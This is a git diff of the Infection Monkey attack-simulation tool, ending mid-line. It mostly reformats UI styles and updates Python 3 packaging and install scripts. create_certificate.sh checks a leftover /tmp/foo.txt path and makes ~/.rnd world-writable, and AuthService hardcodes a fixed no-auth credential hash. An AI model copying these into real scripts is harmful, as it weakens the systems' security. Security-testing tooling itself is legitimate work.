id="originals"><circle cx="22" cy="22" r="22" style="fill:#fc2"/><circle cx="16.5" cy="7.5" r="2.5" style="fill:#333"/><circle cx="6.5" cy="23.5" r="2.5" style="fill:#333"/><circle cx="11" cy="32" r="2" style="fill:#333"/><circle cx="21.5" cy="37.5" r="2.49988" style="fill:#333"/><circle cx="35" cy="30" r="2" style="fill:#333"/><circle cx="33" cy="12" r="2" style="fill:#333"/><line x1="35" y1="30" x2="22" y2="22" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="21.5" y1="38" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="11.5" y1="31.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="21.5" y1="22.5" x2="6.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="16.5" y1="7.5" x2="22.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="33.5" y1="11.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><circle cx="22" cy="22" r="9" style="fill:#fc2;stroke:#333;stroke-miterlimit:10;stroke-width:2px"/><rect x="21" y="17" width="2" height="6" style="fill:#333"/><rect x="21" y="25" width="2" height="2" style="fill:#333"/></g></g></svg> \ No newline at end of file +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"> + <title>im-alert-network-icon</title> + <g id="Layer_2" data-name="Layer 2"> + <g id="originals"> + <circle cx="22" cy="22" r="22" style="fill:#fc2"/> + <circle cx="16.5" cy="7.5" r="2.5" style="fill:#333"/> + <circle cx="6.5" cy="23.5" r="2.5" style="fill:#333"/> + <circle cx="11" cy="32" r="2" style="fill:#333"/> + <circle cx="21.5" cy="37.5" r="2.49988" style="fill:#333"/> + <circle cx="35" cy="30" r="2" style="fill:#333"/> + <circle cx="33" cy="12" r="2" style="fill:#333"/> + <line x1="35" y1="30" x2="22" y2="22" style="fill:none;stroke:#333;stroke-miterlimit:10"/> + <line x1="21.5" y1="38" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/> + <line x1="11.5" y1="31.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/> + <line x1="21.5" y1="22.5" x2="6.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/> + <line x1="16.5" y1="7.5" x2="22.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/> + <line x1="33.5" y1="11.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/> + <circle cx="22" cy="22" r="9" style="fill:#fc2;stroke:#333;stroke-miterlimit:10;stroke-width:2px"/> + <rect x="21" y="17" width="2" height="6" style="fill:#333"/> + <rect x="21" y="25" width="2" height="2" style="fill:#333"/> + </g> + </g> +</svg> diff --git a/monkey/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html index 3e7028fc1..38b0c114d 100644 --- a/monkey/monkey_island/cc/ui/src/index.html +++ b/monkey/monkey_island/cc/ui/src/index.html @@ -8,6 +8,6 @@ <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> </head> <body> - <div id="app"></div> +<div id="app"></div> </body> </html> diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 329e94dfe..b2c79eaf9 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ b/monkey/monkey_island/cc/ui/src/index.js @@ -6,4 +6,4 @@ import App from './components/Main'; import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars // Render the main component into the dom -ReactDOM.render(<App />, document.getElementById('app')); +ReactDOM.render(<App/>, document.getElementById('app')); diff --git a/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js b/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js index 1c5814b5a..452bfaede 100644 --- a/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js +++ b/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js @@ -1,6 +1,6 @@ import BaseConfig from './BaseConfig'; -class AwsConfig extends BaseConfig{ +class AwsConfig extends BaseConfig { isAuthEnabled() { return true; } diff --git a/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js b/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js index 359b21bfb..167d1ab60 100644 --- a/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js +++ b/monkey/monkey_island/cc/ui/src/server_config/PasswordConfig.js @@ -1,6 +1,6 @@ import BaseConfig from './BaseConfig'; -class PasswordConfig extends BaseConfig{ +class PasswordConfig extends BaseConfig { isAuthEnabled() { return true; } diff --git a/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js index c71cc4d94..bd71817e1 100644 --- a/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js +++ b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js @@ -1,6 +1,6 @@ import StandardConfig from './StandardConfig'; import AwsConfig from './AwsConfig'; -import PasswordConfig from "./PasswordConfig"; +import PasswordConfig from './PasswordConfig'; const SERVER_CONFIG_JSON = require('../../../server_config.json'); diff --git a/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js index f549f7112..c3ace9a97 100644 --- a/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js +++ b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js @@ -2,7 +2,7 @@ import BaseConfig from './BaseConfig'; class StandardConfig extends BaseConfig { - isAuthEnabled () { + isAuthEnabled() { return false; } } diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 9c62bde63..6163e95cd 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,11 +1,13 @@ -import { SHA3 } from 'sha3'; +import {SHA3} from 'sha3'; import decode from 'jwt-decode'; export default class AuthService { // SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' NO_AUTH_CREDS = - "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" + - "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557"; + '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' + + '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'; + + SECONDS_BEFORE_JWT_EXPIRES = 20; login = (username, password) => { return this._login(username, this.hashSha3(password)); @@ -96,7 +98,7 @@ export default class AuthService { _isTokenExpired(token) { try { - return decode(token)['exp'] < Date.now() / 1000; + return decode(token)['exp'] - this.SECONDS_BEFORE_JWT_EXPIRES < Date.now() / 1000; } catch (err) { return false; diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 109f1c147..3a6cf25d0 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -74,14 +74,17 @@ body { background: #e9e9e9; text-decoration: none; } + li a.active { background: #333333; text-decoration: none; color: #ffcc00; } + li a.active:hover { color: #ffcc00; } + li a.disabled { color: #666; cursor: auto; @@ -105,10 +108,11 @@ body { .guardicore-link span { color: #999; vertical-align: middle; + font-size: 1.7em; } .guardicore-link img { - height: 24px; + height: 38px; margin-left: 8px; vertical-align: middle; } @@ -190,6 +194,7 @@ body { .nav > li > a:focus { background-color: transparent !important; } + /* * Run Monkey Page */ @@ -226,13 +231,16 @@ body { font-size: 20px; } + .preview-pane h3 small { margin-top: 0.5em; display: block; } + .preview-pane h3 .fa { margin-right: 5px; } + .preview-pane h4 { text-transform: uppercase; color: #999; @@ -240,7 +248,7 @@ body { margin-top: 0; } -.preview-pane .table tr:first-child th , .preview-pane .table tr:first-child td { +.preview-pane .table tr:first-child th, .preview-pane .table tr:first-child td { border-top: 0; } @@ -299,7 +307,7 @@ body { left: 0; right: 0; height: 130px; - background: rgba(0,0,0,0.7); + background: rgba(0, 0, 0, 0.7); border-radius: 5px; border: 3px solid #aaa; padding: 0.5em; @@ -316,6 +324,17 @@ body { font-weight: bold; } +.telemetry-lines { + z-index: 3; + position: absolute; + bottom: 103px; + right: 20px; + background: #000000cc; + border-radius: 5px; + padding: 1px; + color: white; +} + .map-legend { font-size: 18px; } @@ -329,7 +348,7 @@ body { padding: 0; } -.data-table-container > .container th , .data-table-container > .container td { +.data-table-container > .container th, .data-table-container > .container td { padding: 15px 8px; } @@ -341,7 +360,7 @@ body { margin-left: 1em; } -#search-field , #page-menu { +#search-field, #page-menu { margin-left: 0.5em; margin-bottom: 1em; height: 34px; @@ -477,21 +496,21 @@ body { } .alert-danger { - color:#a94442 !important; - background-color:#f2dede !important; - border-color:#ebccd1 !important; + color: #a94442 !important; + background-color: #f2dede !important; + border-color: #ebccd1 !important; } .alert-success { - color:#3c763d !important; - background-color:#dff0d8 !important; - border-color:#d6e9c6 !important; + color: #3c763d !important; + background-color: #dff0d8 !important; + border-color: #d6e9c6 !important; } .alert-info { - color:#31708f !important; - background-color:#d9edf7 !important; - border-color:#bce8f1 !important; + color: #31708f !important; + background-color: #d9edf7 !important; + border-color: #bce8f1 !important; } .label-default { @@ -517,7 +536,6 @@ body { .label-danger { background-color: #d9534f !important; } - } /* Attack pages */ @@ -529,10 +547,6 @@ body { margin-bottom: 20px; } -.attack-report .btn-collapse span:nth-of-type(2){ - flex: 0; -} - .icon-info { color: #ade3eb !important; } @@ -579,9 +593,3 @@ body { margin-left: auto; margin-right: auto; } - -.attack-report.footer-text{ - text-align: right; - font-size: 0.8em; - margin-top: 20px; -} diff --git a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss index 3bf0281f6..149881edc 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss @@ -6,100 +6,142 @@ $green: #44CF6C; $black: #000000; .ui-checkbox-btn { - position: relative; - display: inline-block; - background-color: rgba(red, .6); + position: relative; + display: inline-block; + background-color: rgba(red, .6); text-align: center; width: 100%; height: 100%; + cursor: pointer; - input { display: none; } + input { + display: none; + } - .icon, - .text { - display: inline-block; - color: inherit; - } + .icon, + .text { + display: inline-block; + color: inherit; + } - .text { + .text { padding-top: 4px; - font-size: 14px; - } + font-size: 14px; + } - // color states - &.is-unchecked { - background-color: transparent; - color: $black; - fill: $black; - } + // color states + &.is-unchecked { + background-color: transparent; + color: $black; + fill: $black; + } &.blocked { background-color: $dark-green; - color: $light-grey; - fill: $light-grey; + color: $light-grey; + fill: $light-grey; + cursor: default; } - &.is-checked { - background-color: $green; - color: white; - fill: white; - } + &.is-checked { + background-color: $green; + color: white; + fill: white; + } } .icon { - position: relative; - display: inline-block; + position: relative; + display: inline-block; - svg { - position: absolute; - top: 0; right: 0; bottom: 0; left: 0; - margin: auto; - width: 16px; - height: auto; - fill: inherit; - } + svg { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + margin: auto; + width: 16px; + height: auto; + fill: inherit; + } - .is-checked & { - color: white; - fill: white; - } + .is-checked & { + color: white; + fill: white; + } } // ping animation magic .ui-btn-ping { - position: absolute; - top: 50%; - left: 50%; - width: 100%; - transform: translate3d(-50%, -50%, 0); // center center by default + position: absolute; + top: 50%; + left: 50%; + width: 100%; + transform: translate3d(-50%, -50%, 0); // center center by default - // set the square - &:before { - content: ''; - transform: scale(0, 0); // center center by default - transition-property: background-color transform; - transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1); - display: block; - padding-bottom: 100%; - border-radius: 50%; - background-color: rgba(white, .84);; - } + // set the square + &:before { + content: ''; + transform: scale(0, 0); // center center by default + transition-property: background-color transform; + transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1); + display: block; + padding-bottom: 100%; + border-radius: 50%; + background-color: rgba(white, .84);; + } - .do-ping &:before { - transform: scale(2.5, 2.5); - transition-duration: .35s; - background-color: rgba(white, .08); - } + .do-ping &:before { + transform: scale(2.5, 2.5); + transition-duration: .35s; + background-color: rgba(white, .08); + } } -.icon-checked{ - color:$green +.attack-matrix .ui-checkbox-btn label { + padding-top: 0; + position: relative; + float: left; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + padding-left: 5px; + padding-right: 5px; } -.icon-mandatory{ - color:$dark-green +.attack-matrix div.rt-td>div { + height: 100%; + padding: 0; } -.icon-unchecked{ - color:$black; +.attack-matrix div.rt-td { + padding: 0; + border-right: 3px solid rgba(0,0,0,0) !important; +} + +.attack-matrix .rt-tr-group div.rt-td:first-child { + border-left: 3px solid rgba(0,0,0,0) !important; +} + + +.attack-matrix .rt-tr-group { + border-top: 3px solid white !important; + border-bottom: none !important; +} + +.attack-matrix .rt-tr-group:last-child { + margin-bottom: 3px !important; +} + +.icon-checked { + color: $green +} + +.icon-mandatory { + color: $dark-green; +} + +.icon-unchecked { + color: $black; } diff --git a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss index e2d7d334a..5d49b13a0 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Collapse.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Collapse.scss @@ -1,8 +1,9 @@ -$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5); +$transition: 300ms cubic-bezier(0.6, 0.3, 0.3, 0.6); -$danger-color: #d9acac; +$danger-color: #ebbcba; $info-color: #ade3eb; $default-color: #e0ddde; +$warning-color: #ffe28d; .collapse-item button { font-size: inherit; @@ -14,8 +15,8 @@ $default-color: #e0ddde; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } -.collapse-item button span:first-child{ - text-align:left; +.collapse-item button span:first-child { + text-align: left; } .collapse-item button { @@ -25,7 +26,8 @@ $default-color: #e0ddde; transition: background-color $transition; display: flex; font-family: inherit; - > span { + + > span { display: inline-block; flex: 4; text-align: right; @@ -40,6 +42,10 @@ $default-color: #e0ddde; background-color: $danger-color !important; } +.collapse-warning { + background-color: $warning-color !important; +} + .collapse-info { background-color: $info-color !important; } @@ -50,6 +56,7 @@ $default-color: #e0ddde; .collapse-item { padding: 0.5rem; + &--active { .btn-collapse { background-color: #f7f7f7; @@ -61,29 +68,17 @@ $default-color: #e0ddde; padding: 0 7px 7px 7px; border: 2px solid rgb(232, 228, 228); border-top: 0; - display:block !important; + display: block !important; transition: height $transition; overflow: hidden; } +.collapsing { + height:100% !important; +} + .collapse-item .content { padding: 2rem 0; - transition: transform $transition; - will-change: transform; - $offset: 10px; - - &.collapsing { - transform: translateY(-$offset); - } - &.collapse-comp { - transform: translateY(-$offset); - } - &.expanding { - transform: translateX(0px); - } - &.expanded { - transform: translateX(0px); - } } .collapse-item .text { diff --git a/monkey/monkey_island/cc/ui/src/styles/MonkeyRunPage.scss b/monkey/monkey_island/cc/ui/src/styles/MonkeyRunPage.scss new file mode 100644 index 000000000..82d306fd8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/MonkeyRunPage.scss @@ -0,0 +1,5 @@ +$blue: #337ab7; + +#bootstrap-override.runOnOsButtons > li.active > a{ + background-color: $blue !important; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/NotFoundPage.scss b/monkey/monkey_island/cc/ui/src/styles/NotFoundPage.scss new file mode 100644 index 000000000..e3c37d7a7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/NotFoundPage.scss @@ -0,0 +1,28 @@ +$yellow: #ffcc00; + + +.not-found .not-found-title { + color: $yellow; + font-size: 8em; + margin-bottom: 0 !important; +} + +.not-found .monkey-detective { + height: 200px; + display: inline-block; +} + +.not-found .text-block { + display: inline-block; +} +.not-found { + display: flex; + align-items: center; + margin-top:200px; + margin-left:100px; +} + +.not-found .not-found-subtitle { + margin-top: 0 !important; +} + diff --git a/monkey/monkey_island/cc/ui/src/styles/StartOverPage.scss b/monkey/monkey_island/cc/ui/src/styles/StartOverPage.scss new file mode 100644 index 000000000..ee4ab65ea --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/StartOverPage.scss @@ -0,0 +1,9 @@ +$yellow: #ffcc00; + +.modalLoader div{ + margin-left: auto; + margin-right: auto; +} +.modalLoader div>div{ + background-color: $yellow; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/report/AttackReport.scss b/monkey/monkey_island/cc/ui/src/styles/report/AttackReport.scss new file mode 100644 index 000000000..e1d76bb8a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/report/AttackReport.scss @@ -0,0 +1,95 @@ +.attack-report.footer-text { + text-align: right; + font-size: 0.8em; + margin-top: 20px; +} + +.attack-report div.attack-legend { + margin-top: 30px; +} + +.attack-report .hidden-list{ + display: none; +} + +.attack-technique-list-component .dropdown-list .btn-lg { + margin-top: 30px; + margin-bottom: 20px; + padding: 0; +} + +.attack-report .link-to-technique { + margin-right: 10px; +} + +.attack-report .selected-technique { + cursor: default; +} + +.attack-report .padded{ + padding: 2em 2em 0 2em; +} + +.ReactTable .rt-td,.rt-resizable-header-content{ + white-space: pre-line !important; + word-wrap: break-word; +} + +.attack-link{ + padding: 0 7px 3px 7px !important; +} + +.attack-report .toggle-btn{ + position:relative; + height:30px; + width:30px; +} + +.attack-report .toggle-btn { + padding: 0; + margin-bottom: 30px; + margin-left: 6px; + outline: none !important; + font-size: 15px; +} + +.attack-report .toggle-btn svg { + position:absolute; + left:0; + -webkit-transition: opacity 0.15s ease-in-out; + -moz-transition: opacity 0.15s ease-in-out; + -o-transition: opacity 0.15s ease-in-out; + transition: opacity 0.15s ease-in-out; +} + +.attack-report .toggle-btn.toggled-on .switch-off{ + opacity:0; +} + +.attack-report .toggle-btn.toggled-off .switch-on{ + opacity:0; +} + +.attack-report .switch-off { + -webkit-transform: scaleX(-1); + transform: scaleX(-1); + color: gray; +} + +.technique-status-icon { + padding-right:5px; + margin-bottom: 1px; +} + +.attack-mitigation .rt-thead .rt-tr .rt-th { + text-align: left !important; + padding-left: 10px; +} + +.attack-mitigation p { + padding-left: 7px; +} + +.attack-mitigation .rt-table>.-header { + display: none !important; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/report/ReportAttackMatrix.scss b/monkey/monkey_island/cc/ui/src/styles/report/ReportAttackMatrix.scss new file mode 100644 index 000000000..f6eedf353 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/report/ReportAttackMatrix.scss @@ -0,0 +1,42 @@ +// colors +$not-attempted: #e0ddde; +$attempted: #ffe28d; +$used: #ebbcba; +$black: #3a3a3a; + +.attack-matrix .status-0 { + background-color: $not-attempted !important; + color: $black; +} + +.attack-matrix .status-1 { + background-color: $attempted !important; + color: $black; +} + +.attack-matrix .status-2 { + background-color: $used !important; + color: $black; +} + +.attack-matrix div.rt-td:hover { + transform: scale(1.08); + filter: brightness(110%); + z-index: 10000; +} + +.attack-matrix .rt-thead,.-header { + border-bottom: 1px solid #0000000f; +} + +.technique-not-attempted { + color: $not-attempted; +} + +.technique-attempted { + color: $attempted; +} + +.technique-used { + color: $used; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/report/ReportPage.scss new file mode 100644 index 000000000..4b1bd60c9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/report/ReportPage.scss @@ -0,0 +1,16 @@ +.report-nav { + margin-bottom: 2em !important; + position: sticky; + top: 0; + z-index: 1000000; + background-color: #ffffff; + font-size: large; +} + +.report-nav > li > a{ + height: 50px !important; +} + +.report-nav > li.active{ + font-weight: bold; +} diff --git a/monkey/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py index cf59ae7df..5504c34b6 100644 --- a/monkey/monkey_island/cc/utils.py +++ b/monkey/monkey_island/cc/utils.py @@ -1,5 +1,7 @@ import socket import sys +from typing import List +import collections import array @@ -10,7 +12,6 @@ from ring import lru __author__ = 'Barak' - # Local ips function if sys.platform == "win32": def local_ips(): @@ -19,6 +20,7 @@ if sys.platform == "win32": else: import fcntl + def local_ips(): result = [] try: @@ -49,6 +51,11 @@ else: return result +def is_local_ips(ips: List) -> bool: + filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith('169.254')] + return collections.Counter(ips) == collections.Counter(filtered_local_ips) + + # The local IP addresses list should not change often. Therefore, we can cache the result and never call this function # more than once. This stopgap measure is here since this function is called a lot of times during the report # generation. @@ -65,11 +72,18 @@ def local_ip_addresses(): # The subnets list should not change often. Therefore, we can cache the result and never call this function # more than once. This stopgap measure is here since this function is called a lot of times during the report # generation. -# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted. +# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted. @lru(maxsize=1) def get_subnets(): subnets = [] for interface in interfaces(): addresses = ifaddresses(interface).get(AF_INET, []) - subnets.extend([ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network for link in addresses if link['addr'] != '127.0.0.1']) + subnets.extend( + [ + ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network + for link + in addresses + if link['addr'] != '127.0.0.1' + ] + ) return subnets diff --git a/monkey/monkey_island/deb-package/DEBIAN/control b/monkey/monkey_island/deb-package/DEBIAN/control deleted file mode 100644 index 2693afbd9..000000000 --- a/monkey/monkey_island/deb-package/DEBIAN/control +++ /dev/null @@ -1,8 +0,0 @@ -Package: gc-monkey-island -Architecture: amd64 -Maintainer: Guardicore -Homepage: http://www.guardicore.com -Priority: optional -Version: 1.0 -Description: Guardicore Infection Monkey Island installation package -Depends: openssl, python-pip, python-dev diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 8efc19bbb..fe62a6100 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -5,8 +5,8 @@ INSTALLATION_FOLDER=/var/monkey/monkey_island/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv -pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER -virtualenv -p python2.7 ${PYTHON_FOLDER} +pip3 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER +python3 -m virtualenv -p python3 ${PYTHON_FOLDER} # install pip requirements ${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER @@ -22,7 +22,7 @@ if [ -d "/etc/systemd/network" ]; then systemctl enable monkey-island fi -${MONKEY_FOLDER}/monkey_island/create_certificate.sh +${MONKEY_FOLDER}/monkey_island/create_certificate.sh ${MONKEY_FOLDER}/monkey_island/ service monkey-island start diff --git a/monkey/monkey_island/deb-package/DEBIAN_MONGO/control b/monkey/monkey_island/deb-package/DEBIAN_MONGO/control new file mode 100644 index 000000000..a7bc2373e --- /dev/null +++ b/monkey/monkey_island/deb-package/DEBIAN_MONGO/control @@ -0,0 +1,8 @@ +Package: gc-monkey-island +Architecture: amd64 +Maintainer: Guardicore <support@infectionmonkey.com> +Homepage: https://www.infectionmonkey.com +Priority: optional +Version: 1.0 +Description: Guardicore Infection Monkey Island installation package +Depends: openssl, python3.7-dev, python3.7-venv, python3-venv, build-essential diff --git a/monkey/monkey_island/deb-package/DEBIAN_MONGO/postinst b/monkey/monkey_island/deb-package/DEBIAN_MONGO/postinst index 76e57caa3..f12b31b73 100644 --- a/monkey/monkey_island/deb-package/DEBIAN_MONGO/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN_MONGO/postinst @@ -1,20 +1,42 @@ #!/bin/bash +# See the "Depends" field of the control file for what packages this scripts depends on. +# Here are the explanations for the current deps: +# Dependency - Why is it required +## openssl - Server certificate generation +## python3.7-dev - Server runtime +## python3.7-venv - For creating virtual env to install all the server pip deps (don't want to pollute system python) +## python3-venv - python3.7-venv doesn't work without it since you need ensure-pip +## build-essential - for compiling python dependencies that don't come in a pre-compiled wheel, like `netifaces` + +echo "Installing Monkey Island (Infection Monkey server)..." + MONKEY_FOLDER=/var/monkey INSTALLATION_FOLDER=/var/monkey/monkey_island/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python +PYTHON_VERSION=python3.7 # Prepare python virtualenv -pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER -virtualenv -p python2.7 ${PYTHON_FOLDER} +# This is using the apt package `python3.7-venv` which is listed in the `control` file as a dependency. +# See https://packages.debian.org/stable/python/python3.7-venv +echo "Using $(command -v $PYTHON_VERSION) as the base for virtualenv creation" +$PYTHON_VERSION -m venv ${PYTHON_FOLDER} +# shellcheck disable=SC1090 +source ${PYTHON_FOLDER}/bin/activate -# install pip requirements -${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER +echo "Installing Python dependencies using $(command -v python) and $(command -v pip)..." +# First, make sure that pip is updated +python -m pip install --upgrade pip +# Then install the dependecies from the pre-downloaded whl and tar.gz file +python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER + +deactivate # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} rm -f ${MONKEY_FOLDER}/monkey_island/requirements.txt +echo "Installing mongodb..." ${MONKEY_FOLDER}/monkey_island/install_mongo.sh ${MONKEY_FOLDER}/monkey_island/bin/mongodb if [ -d "/etc/systemd/network" ]; then @@ -25,11 +47,17 @@ if [ -d "/etc/systemd/network" ]; then systemctl enable monkey-island fi -${MONKEY_FOLDER}/monkey_island/create_certificate.sh +echo "Creating server certificate..." +${MONKEY_FOLDER}/monkey_island/create_certificate.sh ${MONKEY_FOLDER}/monkey_island/cc +echo "Starting services..." service monkey-island start service monkey-mongo start -echo Monkey Island installation ended +echo "" +echo "Monkey Island installation ended." +echo "The server should be accessible soon via https://<server_ip>:5000/" +echo "To check the Island's status, run 'sudo service monkey-island status'" +echo "" -exit 0 \ No newline at end of file +exit 0 diff --git a/monkey/monkey_island/deb-package/service/systemd/start_server.sh b/monkey/monkey_island/deb-package/service_mongo/systemd/start_server.sh similarity index 100% rename from monkey/monkey_island/deb-package/service/systemd/start_server.sh rename to monkey/monkey_island/deb-package/service_mongo/systemd/start_server.sh diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 0aae17558..985f607bc 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -1,6 +1,30 @@ #!/bin/bash -cd /var/monkey/monkey_island -openssl genrsa -out cc/server.key 2048 -openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" -openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt +server_root=${1:-"./cc"} + +echo "Creating server cetificate. Server root: $server_root" +# We override the RANDFILE determined by default openssl.cnf, if it doesn't exist. +# This is a known issue with the current version of openssl on Ubuntu 18.04 - once they release +# a new version, we can delete this command. See +# https://github.com/openssl/openssl/commit/0f58220973a02248ca5c69db59e615378467b9c8#diff-8ce6aaad88b10ed2b3b4592fd5c8e03a +# for more details. +DEFAULT_RND_FILE_PATH=~/.rnd +CREATED_RND_FILE=false +if [ ! -f /tmp/foo.txt ]; then # If the file already exists, assume that the contents are fine, and don't change them. + echo "Creating rand seed file in $DEFAULT_RND_FILE_PATH" + dd bs=1024 count=2 </dev/urandom >"$DEFAULT_RND_FILE_PATH" + chmod 666 "$DEFAULT_RND_FILE_PATH" + CREATED_RND_FILE=true +fi + +echo "Generating key in $server_root/server.key..." +openssl genrsa -out "$server_root"/server.key 2048 +echo "Generating csr in $server_root/server.csr..." +openssl req -new -key "$server_root"/server.key -out "$server_root"/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" +echo "Generating certificate in $server_root/server.crt..." +openssl x509 -req -days 366 -in "$server_root"/server.csr -signkey "$server_root"/server.key -out "$server_root"/server.crt + +# Shove some new random data into the file to override the original seed we put in. +if [ "$CREATED_RND_FILE" = true ] ; then + dd bs=1024 count=2 </dev/urandom >"$DEFAULT_RND_FILE_PATH" +fi diff --git a/monkey/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh index d4ebfedbe..ab03e4798 100644 --- a/monkey/monkey_island/linux/install.sh +++ b/monkey/monkey_island/linux/install.sh @@ -1,7 +1,7 @@ #!/bin/bash -MACHINE_TYPE=`uname -m` -if [ ${MACHINE_TYPE} == 'x86_64' ]; then +MACHINE_TYPE=$(uname -m) +if [ "${MACHINE_TYPE}" == 'x86_64' ]; then # 64-bit stuff here ARCH=64 else @@ -11,4 +11,4 @@ fi MONKEY_FILE=monkey-linux-$ARCH cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp -/tmp/$MONKEY_FILE m0nk3y $@ +/tmp/$MONKEY_FILE m0nk3y "$@" diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 2395454b6..36203b298 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -1,39 +1,67 @@ #!/bin/bash -export os_version_monkey=$(cat /etc/issue) +exists() { + command -v "$1" >/dev/null 2>&1 +} + +os_version_monkey=$(cat 